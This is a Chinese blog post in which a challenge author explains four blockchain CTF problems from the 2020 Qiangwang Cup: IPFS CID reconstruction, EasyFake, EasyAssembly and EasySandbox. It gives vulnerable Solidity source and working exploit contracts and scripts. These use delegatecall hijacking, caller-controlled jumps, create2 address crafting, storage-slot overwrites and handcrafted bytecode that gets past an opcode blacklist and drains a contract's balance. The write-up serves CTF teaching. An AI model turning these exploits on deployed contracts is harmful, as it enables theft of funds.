Fork me on GitHub
pikachu's Blog

qwb2020 第四届强网杯区块链线上赛

前言

  • 第四届 qwbblockchainsWP,勿喷
  • 题目考查的点子也不是很新,勿喷2333
  • 随时欢迎大家来交流,别喷就好,谢谢
  • 没有官方 WP ,我只是自己写着玩

IPFS

  • 题目考查的是最近很火的 IPFS ,不过很简单,考查的是 IPFS 存储规则计算的相关知识,不过题目可能描述的不清楚,导致有些选手不明白 hash 是什么意思2333,再加上最后找到两张图片,可是提交的 flag 不对,导致选手以为是脑洞题目,自己在那猜 hash 到底是什么,其实并不是,是因为 pic1 被指定大小分块存储了,所以你直接按照一个块计算的 cid 结果不对,在此说声抱歉,其实 hash 就是文件的 cid,出题的时候没有考虑到这一点,所以题目目的不是为了脑洞,在此解释一下,不过看了绝大多数队伍的 WP 发现他们理解的没有偏差,我也不明白为什么
  • 需要了解一下 IPFS 是如何计算文件 hash 的,即 cid,简化总结为:原始数据添加元数据封装成 IPFS 文件 -> 计算 SHA2-256 -> 封装成 multihash -> 转换成 Base58
  • 所以对于 pic2.jpg ,我们计算它的 multihash 然后转 Base58 即可,可使用如下脚本计算
1
2
import base58
print base58.b58encode_int(int("1220659c2a2c3ed5e50f848135eea4d3ead3fa2607e2102ae73fafe8f82378ce1d1e", 16))
  • 计算结果为 QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3 ,所以我们直接访问 https://ipfs.io/ipfs/QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3 即可
  • 对于 pic1.jpg ,考查的是 IPFS 文件的碎片化存储,IPFS 默认规则是文件所占空间大于 256kb 就会被切分成小块,每一块小于或等于 256kb 。不过我们上传时可以指定碎片化的大小,使用 -s size-? 参数即可,题目是把 pic1.jpg 碎片化成了 6block ,分别给出了它们的文件 hash 值,所以我们只需要将其拼成一张图片即可,排列组合即可(可以先找到文件头所在的 block 和文件尾所在的 block ,对剩余 4block 排列组合)
  • 排列组合的脚本如下,3.jpg 便是 pic1.jpg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import itertools

l = ["QmZkF524d8HWfF8k2yLrZwFz9PtaYgCwy3UqJP5Ahk5aXH", "Qme7fkoP2scbqRPaVv6JEiaMjcPZ58NYMnUxKAvb2paey2", "QmU59LjvcC1ueMdLVFve8je6vBY48vkEYDQZFiAbpgX9mf", "QmfUbHZQ95XKu9vd5XCerhKPsogRdYHkwx8mVFh5pwfNzE"]

index = 1
for i in itertools.permutations('0123', 4):
os.system("ipfs cat QmXh6p3DGKfvEVwdvtbiH7SPsmLDfL7LXrowAZtQjkjw73 >> ./ipfs/{}.jpg".format(index))
for j in i:
print j
os.system("ipfs cat " + l[int(j)] + " >> ./ipfs/{}.jpg".format(index))
os.system("ipfs cat QmXFSNiJ8BdbUKPAsu3oueziyYqeYhi3iyQPXgVSvqTBtN >> ./ipfs/{}.jpg".format(index))
print(index)
index = index + 1


  • 得到信息 flag=flag{md5(hash1+hash2)} ,所以我们需要找到 hash1 ,很简单,只需要我们重新上传一下 pic1.jpg 即可,size 的大小可以根据分块 block 对应的文件的大小获得
1
ipfs add -s size-26624 pic1.jpg
  • 得到 hash1 = QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7
  • flag=flag{md5(hash1+hash2)}=flag{35fb9b3fe44919974a02c26f34369b8e}

EasyFake

  • 思路来自 rw2018 首席的题目,觉得点子很好,直接把首席题目的点子拿了过来23333,勿喷,简化版
  • 可以借助 ida-evm 等工具查看其函数调用图及其细节
  • 薅羊毛是送分的,考点是 delegatecall ,直接介绍利用思路

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
pragma solidity ^0.4.23;

contract EasyFake {
uint public qwb_version = 4;
mapping(address => uint) public balanceOf;
mapping(address => uint) public status;
string public constant hello = "Welcome to S4 of qwb! Enjoy yourself :D";
uint private constant randomNumber = 0;

event SendFlag(address addr);

constructor() public {
assembly {
sstore(0x1234, 0x4804a623)
}
}

modifier onlyHuman{
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size==0);
_;
}

function gift() public payable {
require(status[msg.sender]==0);
balanceOf[msg.sender] += 10;
status[msg.sender] = 1;
}

function transferbalance(address to,uint amount) public {
require(balanceOf[msg.sender]>=amount);
balanceOf[msg.sender]-=amount;
balanceOf[to]+=amount;
}

function payforflag(string s) public payable onlyHuman {
require(keccak256(abi.encodePacked(s)) == keccak256("iloveqwb"));
if (balanceOf[msg.sender]>=1000 && msg.value == 1 ether) {

assembly {
mstore(0x800, 0x1234)
mload(0x800)
dup1
mstore(0x2000, 0x06ee)
mload(0x2000)
and(caller, 0xffff)
jump
pop
pop
pop
}
} else {
selfdestruct(msg.sender);
}
}

function backdoor() public {
assembly {

mstore(0x2000,0x20)
mload(0x2000)
mstore(0x2000,0x0)

mstore(0x2100,0x1234)
mload(0x2100)
mstore(0x2100,0)

sload(extcodesize(caller))

mstore(0x20, sload(0x1234))

mstore(0x5000,0x3c)
mload(0x5000)
mstore(0x5000, 0x0)

calldataload(0x7e)

gas

calldataload(0x5e)

jump
pop
pop
pop
pop
pop
pop
}
}

function() public payable {}
}

Analyse

  • 对上述源码编译生成的字节码进行了一些改动,完整的字节码可在链上查找到
  • 题目要求触发 SendFlag 事件,可是并没有 SendFlag ,所以需要 delegatecall ,这个意图应该很明显
  • 对于 backdoor 函数,其函数栈如下所示,会跳转到 calldataload(0x5e) ,这个很明显,我们要跳转到 delegatecall 的位置,查看字节码,可以找到位置为 0x740 ,所以 calldataload(0x5e:0x7e)=0x740 。并且设置了 memory[0x20,0x40]=sload(0x1234)=0x4804a623 ,可在https://www.4byte.directory/查询到是 getflag() 函数
1
2
3
4
5
6
7
calldataload(0x5e)        栈顶
gasRemaining
calldataload(0x7e)
0x3c
0x4
0x1234
0x20 栈底
  • 0x740 位置代码为 5bf45056,即如下
1
2
3
4
JUMPDEST
delegatecall
pop
jump
  • delegatecall 参数对应栈如下,所以 calldataload(0x7e:0x9e)为delegatecall 调用的 hack 合约地址,memory[0x3c:0x40]=0x4804a623 ,即调用 hack 合约中的 getflag() 函数,返回值保存在 memory[0x1234:0x1234+0x20]
1
2
3
4
5
6
gas           gasRemaining
addr calldataload(0x7e)
argsOffset 0x3c
argsLength 0x4
retOffset 0x1234
retLength 0x20 栈底
  • 调用完函数栈为空,但此时有个 jump ,要跳转到哪里呢,我们向上找,发现 payforflag 里面有一些操作,栈详情如下,存在一个任意 caller 控制的跳转
1
2
3
4
caller & 0xffff
0x6ee
0x1234
0x1234
  • 假设跳转到 backdoor 位置,即 0x06f2 ,即要求 caller 最低四字节为 0x06f2 ,结合上面的分析,上述执行完 delegatecall 之后会跳转到 0x6ee ,查看 0x6ee 处的字节码是 5b510156 ,操作码如下
1
2
3
4
JUMPDEST
MLOAD
ADD
JUMP
  • 此时栈变成了下面这样,即会跳转到 mload(0x1234)+0x1234 ,此时栈为空,而
1
2
3
add
mload(0x1234)
0x1234
  • 为了保持栈平衡,我们需要跳转到 stop 的位置,正常结束并维持栈平衡,可以找到 0x2c1 位置,即 mload(0x1234)+0x1234=0x2c1 即可,即要求 hack 合约中的 getflag() 函数返回值为 0x2c1-0x1234=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff08d

Exp

  • 使用下面代码薅羊毛,转到地址最后四字节为 0x06f2

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    contract father {
    constructor() public {
    for (uint i=0; i<100; i++)
    {
    son ason = new son();
    }
    }
    }

    contract son {
    constructor() public {
    EasyFake tmp = EasyFake(0x742eB40659c7Dae2CD436B9E2741696a2F622DB2);
    tmp.gift();
    tmp.transferbalance(address(0x15697F62095549B50F2897F6840D36aB1e0b06f2),10);
    }
    }
  • 部署 hack 合约,作为 delegatecall 参数

1
2
3
4
5
6
7
contract hack {
event SendFlag(address addr);
function getflag() payable public returns(uint256) {
emit SendFlag(msg.sender);
return 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff08d;
}
}
  • 使用最后四字节 0x06f2 的这个账户调用 payforflag 函数,根据如上分析,payload 如下所示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from web3 import Web3, HTTPProvider

w3 = Web3(Web3.HTTPProvider('https://ropsten.infura.io/v3/xxxxxxxxxxx'))
# contract_instance = web3.eth.contract(address=config['address'], abi=config['abi'])

contract_address = "0x742eB40659c7Dae2CD436B9E2741696a2F622DB2"
private = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
public = "0x15697F62095549B50F2897F6840D36aB1e0b06f2"

data = '0x6bc344bc'
data += '0000000000000000000000000000000000000000000000000000000000000020'
data += '0000000000000000000000000000000000000000000000000000000000000008'
data += '696c6f7665717762000000000000000000000000000000000000000000000000'
data += '0000000000000000000000000000000000000000000000000740'
data += '000000000000000000000000882DfFd71DFb9A8f0E5985207587ebd77611A9f3'
data += '0000'

def do_callme(public):
txn = {
'from': Web3.toChecksumAddress(public),
'to': Web3.toChecksumAddress(contract_address),
'gasPrice': w3.eth.gasPrice,
'gas': 8000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(1, 'ether'),
'data': data,
}
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt

print(do_callme(public))

EasyAssembly

  • 题目思路来自于 rw2019
  • 考点有两个:
    • 在合约字节码后进行 padding 不会影响合约的部署
    • create2 创建地址的方式

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
pragma solidity ^0.5.10;

contract EasyAssembly {
event SendFlag(address addr);

uint randomNumber = 0;
bytes32 private constant ownerslot = keccak256('Welcome to qwb!!! You will find this so easy ~ Happy happy :D');

bytes32[] public puzzle;
uint count = 0;
mapping(address=>bytes32) WinChecksum;

constructor() public payable {
setAddress(ownerslot, msg.sender);
}

modifier onlyWin(bytes memory code) {
require(WinChecksum[msg.sender] != 0);
bytes32 tmp = keccak256(abi.encodePacked(code));
address target;
assembly {
let t1,t2,t3
t1 := and(tmp, 0xffffffffffffffff)
t2 := and(shr(0x40,tmp), 0xffffffffffffffff)
t3 := and(shr(0x80,tmp), 0xffffffff)
target := xor(mul(xor(mul(t3, 0x10000000000000000), t2), 0x10000000000000000), t1)
}
require(address(target)==msg.sender);
_;
}

function setAddress(bytes32 _slot, address _address) internal {
bytes32 s = _slot;
assembly { sstore(s, _address) }
}

function deploy(bytes memory code) internal returns(address addr) {
assembly {
addr := create2(0, add(code, 0x20), mload(code), 0x1234)
if eq(extcodesize(addr), 0) { revert(0, 0) }
}
}

function gift() public payable {
require(count == 0);
count += 1;
if(msg.value >= address(this).balance){
emit SendFlag(msg.sender);
}else{
selfdestruct(msg.sender);
}
}

function pass(uint idx, bytes memory bytecode) public {
address addr = deploy(bytecode);
bytes32 cs = tag(bytecode);
bytes32 tmp = keccak256(abi.encodePacked(uint(1)));
uint32 v;
bool flag = false;

assembly {
let v1,v2
v := sload(add(tmp, idx))
if gt(v, sload(0)){
v1 := and(add(and(v,0xffffffff), and(shr(0x20,v), 0xffffffff)), 0xffffffff)
v2 := and(add(xor(and(shr(0x40,v), 0xffffffff), and(shr(0x60,v), 0xffffffff)), and(shr(0x80,v),0xffffffff)), 0xffffffff)
if eq(xor(mul(v2,0x100000000), v1), cs){
flag := 1
}
}
}
if(flag){
WinChecksum[addr] = cs;
}else{
WinChecksum[addr] = bytes32(0);
}
}

function tag(bytes memory a) pure public returns(bytes32 cs) {
assembly{
let groupsize := 16
let head := add(a,groupsize)
let tail := add(head, mload(a))
let t1 := 0x13145210
let t2 := 0x80238023
let m1,m2,m3,m4,s,tmp
for { let i := head } lt(i, tail) { i := add(i, groupsize) } {
s := 0x59129121
tmp := mload(i)
m1 := and(tmp,0xffffffff)
m2 := and(shr(0x20,tmp),0xffffffff)
m3 := and(shr(0x40,tmp),0xffffffff)
m4 := and(shr(0x60,tmp),0xffffffff)
for { let j := 0 } lt(j, 0x4) { j := add(j, 1) } {
s := and(mul(s, 2),0xffffffff)
t2 := and(add(t1, xor(sub(mul(t1, 0x10), m1),xor(add(t1, s),add(div(t1,0x20), m2)))), 0xffffffff)
t1 := and(add(t2, xor(add(mul(t2, 0x10), m3),xor(add(t2, s),sub(div(t2,0x20), m4)))), 0xffffffff)
}
}
cs := xor(mul(t1,0x100000000),t2)
}
}

function payforflag(bytes memory code) public onlyWin(code) {
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
}

Analyse

  • tag 是对字节码进行编码得到 cspass 是对 cs 进行校验,可以分析发现是对 owner 进行相关计算,对其结果记为 target,即 cs经过校验后等于 target
  • 攻击合约hack,获取bytecode

    1
    2
    3
    4
    5
    6
    7
    8
    contract hack {
    address instance_address = 0xbA2e98a2795c193F58C8CE1287fDA28e089c313a ;
    EasyAssembly target = EasyAssembly(instance_address);

    function hack1(bytes memory code) public {
    target.payforflag(code);
    }
    }
  • 正常情况下,对合约字节码进行编码后正好等于特定某个值的几率几乎为 0 ,所以需要另想办法,这里用到考点一,合约字节码后进行 padding 不会影响合约的部署

  • 使用 tag 计算攻击合约 hack 字节码的 cs ,然后我们计算需要 padding 的字节

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    from z3 import *

    def find(last, target):
    t1, t2 = int(last[:8], 16), int(last[8:], 16)
    tar1, tar2 = int(target[:8], 16), int(target[8:], 16)

    s = 0x59129121
    s = BitVecVal(s, 256)
    m1 = BitVec('m1', 256)
    m2 = BitVec('m2', 256)
    m3 = BitVec('m3', 256)
    m4 = BitVec('m4', 256)

    for j in range(4):
    s = (s + s) & 0xffffffff
    p1 = (t1<<4) - m1
    p2 = t1 + s
    p3 = (t1>>5) + m2
    t2 = (t1 + (p1^(p2^p3))) & 0xffffffff
    p1 = (t2<<4) + m3
    p2 = t2 + s
    p3 = (t2>>5) - m4
    t1 = (t2 + (p1^(p2^p3))) & 0xffffffff

    sol = Solver()
    sol.add(And(t1 == tar1, t2 == tar2))
    if sol.check():
    m = sol.model()
    m_l = map(lambda x: m[x].as_long(), [m4, m3, m2, m1])
    pad = 0
    for x in m_l:
    pad <<= 0x20
    pad |= x
    return hex(pad)[2:].zfill(32)
    else:
    raise Exception('No solution')

    def cal_target(address):
    a = address & 0xffffffff
    b = address>>0x20 & 0xffffffff
    c = address>>0x40 & 0xffffffff
    d = address>>0x60 & 0xffffffff
    e = address>>0x80 & 0xffffffff
    v1 = (a+b) & 0xffffffff
    v2 = ((c ^ d) + e) & 0xffffffff
    target = v2<<0x20 | v1
    print hex(target)
    return hex(target)

    address = 0x000000000000000000000000082d1deb3d08277650966471756b06fead5cb43f
    last = "a7f27fea495824ae"
    target = cal_target(address)[2:-1]
    print find(last, target)
  • 调用 pass ,其中 idxowner 所在的 slotpuzzle 数组数据起始位置的差值,是个固定值17666428025195830108258939064971598484477117555719083663154155265588858226250bytecode 是进行 padding 之后的字节码(这里需要注意字节码 16 字节对齐)

  • 调用 hack 攻击合约的 hack1 即可,这里的 codecreate2() 中的参数,可通过下述脚本计算,code 就是脚本中的 s
    • Create2 : keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      from web3 import Web3

      def bytesToHexString(bs):
      return ''.join(['%02X' % b for b in bs])

      bytecode = '0x608060405273ba2e98a2795c193f58c8ce1287fda28e089c313a6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100c657600080fd5b50610248806100d66000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063489dc88514610030575b600080fd5b6100e96004803603602081101561004657600080fd5b810190808035906020019064010000000081111561006357600080fd5b82018360208201111561007557600080fd5b8035906020019184600183028401116401000000008311171561009757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506100eb565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662a9a87e82306040518363ffffffff1660e01b815260040180806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b838110156101ab578082015181840152602081019050610190565b50505050905090810190601f1680156101d85780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156101f857600080fd5b505af115801561020c573d6000803e3d6000fd5b505050505056fea265627a7a72315820fc052defd6381390e09fa96b74c0f55872043fcede05171fb78f3c814d755fe664736f6c6343000511003200007197d58f43114ce23d95b93f9df2bb08'
      a = '0xff' # 1 byte
      b = 'bA2e98a2795c193F58C8CE1287fDA28e089c313a' # b: deploy address 20 bytes
      c = '0'*60 + '1234' # c: seed 32 bytes
      d = bytesToHexString(Web3.sha3(hexstr=bytecode)) # deploy bytecode 32 bytes
      s = a+b+c+d
      print(s)
      address = '0x' + bytesToHexString(Web3.sha3(hexstr=s))[24:]
      print(address)

EasySandbox

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pragma solidity ^0.5.10;

contract EasySandbox {
uint256[] public writes;
mapping(address => address[]) public sons;
address public owner;
uint randomNumber = 0;

constructor() public payable {
owner = msg.sender;
sons[msg.sender].push(msg.sender);
writes.length -= 1;
}

function given_gift(uint256 _what, uint256 _where) public {
if(_where != 0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9f) {
writes[_where] = _what;
}
}

function easy_sandbox(address _addr) public payable {
require(sons[owner][0] == owner);
require(writes.length != 0);
bool mark = false;
for(uint256 i = 0; i < sons[owner].length; i++) {
if(msg.sender == sons[owner][i]) {
mark = true;
}
}
require(mark);

uint256 size;
bytes memory code;

assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}

for(uint256 i = 0; i < code.length; i++) {
require(code[i] != 0xf0); // CREATE
require(code[i] != 0xf1); // CALL
require(code[i] != 0xf2); // CALLCODE
require(code[i] != 0xf4); // DELEGATECALL
require(code[i] != 0xfa); // STATICCALL
require(code[i] != 0xff); // SELFDESTRUCT
}

bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
require(writes.length == 0);
require(sons[owner].length == 1 && sons[owner][0] == tx.origin);
}
}

Analyse

  • 题目逆向还是有难度的,后来直接给了源码
  • 考点有三个:

    • 考察对动态数组、map类型数据的存储规则计算
    • 考察对 EVM 执行的理解
    • 考察 create2
  • 可以看到主体函数就两个

    • given_gift 任意写
    • easy_sandbox 过滤了 f0f1f2f4faff 这些字节,如果站在操作码层次,这些字节对应操作码分别是 createcallcallcodedelegatecallstaticcallselfdestruct,相当于这些操作码都不能使用,如果想要清空合约余额的话,只能使用 create2 创建一个类似转账的合约

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
pragma solidity ^0.5.10;

contract EasySandbox {

function given_gift(uint256 _what, uint256 _where) public {}

function easy_sandbox(address _addr) public payable {}
}

/*
owner 0x3d16CAAf6E5C0bB28787F38Aba430E17F301e737
tx.origin 0x1e7AEf620B2ad727193DD1B2ADda7f1e535CbfB3

pos1 = kec(owner | 1) = 0xfabdb57a8705ecba0fd43952ffce712af6481580f284fb255bc099ff824b60a8
pos2 = kec(kec(owner | 1)) = 0x5db10778892cc9518ed72a1672706295f104d0e8fde9e79a67c38a7cf69a5399

sstore(pos1, 1) 60017f8abdb57a8705ecba0fd439528fce712af64815808284fb255bc09988824b60a87f70000000000000000000000070000000000000007000000000000077000000000155
[1] PUSH1 0x01
[34] PUSH32 0x8abdb57a8705ecba0fd439528fce712af64815808284fb255bc09988824b60a8
[67] PUSH32 0x7000000000000000000000007000000000000000700000000000007700000000
[68] ADD
[69] SSTORE

sstore(0, 0) 60008055
[1] PUSH1 0x00
[2] DUP1
[3] SSTORE

sstore(pos2, tx.origin) 327f30000000000000000000000000000000050000000000000000000000000000007f8db10778892cc9518ed72a1672706295f604d0e8fde9e79a67c38a7cf69a53990355
[0] ORIGIN
[33] PUSH32 0x3000000000000000000000000000000005000000000000000000000000000000
[66] PUSH32 0x8db10778892cc9518ed72a1672706295f604d0e8fde9e79a67c38a7cf69a5399
[67] SUB
[68] SSTORE

create2 SELFDESTRUCT 6132fe6001013452346004601c3031f5
[2] PUSH2 0x32fe
[4] PUSH1 0x01
[5] ADD
[6] CALLVALUE
[7] MSTORE
[8] CALLVALUE
[10] PUSH1 0x04
[12] PUSH1 0x1c
[13] ADDRESS
[14] BALANCE
[15] CREATE2
*/

contract pikachu {
constructor() public payable {
assembly {
mstore(0x00, 0x60017f8abdb57a8705ecba0fd439528fce712af64815808284fb255bc0998882)
mstore(0x20, 0x4b60a87f70000000000000000000000070000000000000007000000000000077)
mstore(0x40, 0x00000000015560008055327f3000000000000000000000000000000005000000)
mstore(0x60, 0x0000000000000000000000007f8db10778892cc9518ed72a1672706295f604d0)
mstore(0x80, 0xe8fde9e79a67c38a7cf69a539903556132fe6001013452346004601c3031f500)
return(0x00, 0xa0)
}
}
}

contract Hack {
EasySandbox private constant target = EasySandbox(0xde07f6D17206CdC4f2Af94ad9e6324544a70a360);

constructor() public payable {
bool result;

// modify kec(owner | 1) = 2
(result, ) = address(target).call(abi.encodeWithSelector(
0x5e08b9d5,
2,
uint(0xfabdb57a8705ecba0fd43952ffce712af6481580f284fb255bc099ff824b60a8-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563)
));
require(result);

// modify kec(kec(owner | 1)) + 1 = msg.sender
(result, ) = address(target).call(abi.encodeWithSelector(
0x5e08b9d5,
uint(address(this)),
uint(0x5db10778892cc9518ed72a1672706295f104d0e8fde9e79a67c38a7cf69a5399-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563+1)
));
require(result);

// writes.length == 0
// sons[owner].length == 1 && sons[owner][0] == tx.origin
// empty balance
pikachu hack = new pikachu();
(result, ) = address(target).call(abi.encodeWithSelector(
0xc94103b1,
hack
));
require(result);
}
}
  • 具体过程都在上面 exp 的注释里面
  • 需要注意的是:
    • 由于 sandbox 禁止的是特定的字节,而不是特定的操作码,这意味着在上下文中也禁止这些字节,所以我们的 code 要使用字节码编写
    • 若在攻击字节码中出现了 sandbox 中的黑名单字节,我们需要使用巧妙的方式去绕过它
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/qwb2020/
Contact:hitcxy@hotmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!